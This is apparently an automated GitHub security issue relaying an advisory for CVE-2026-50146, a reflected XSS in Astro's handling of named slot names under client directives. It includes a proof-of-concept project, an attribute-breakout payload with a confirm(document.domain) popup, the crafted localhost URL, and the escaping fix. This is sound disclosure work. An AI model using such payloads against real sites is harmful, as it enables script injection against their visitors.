Skip to content

[HIGH] CVE-2026-50146: Package: astro Installed Version: 6.1.10 Vulnerability CVE-2026-50146 Severit... #117

Description

@github-actions

🟠 High Security Finding

Scanner: Trivy
Rule: CVE-2026-50146
Severity: HIGH
File: pnpm-lock.yaml:1

Description

Package: astro
Installed Version: 6.1.10
Vulnerability CVE-2026-50146
Severity: HIGH
Fixed Version: 6.3.3
Link: CVE-2026-50146

Remediation Guidance

Vulnerability CVE-2026-50146
Severity: HIGH
Package: astro
Fixed Version: 6.3.3
Link: CVE-2026-50146

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

image

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

References


This issue was automatically created by repo-sentinel. Assigned to Copilot for an automated fix attempt.

Metadata

Metadata

Assignees

No one assigned

    Labels

    securitySecurity vulnerability finding

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions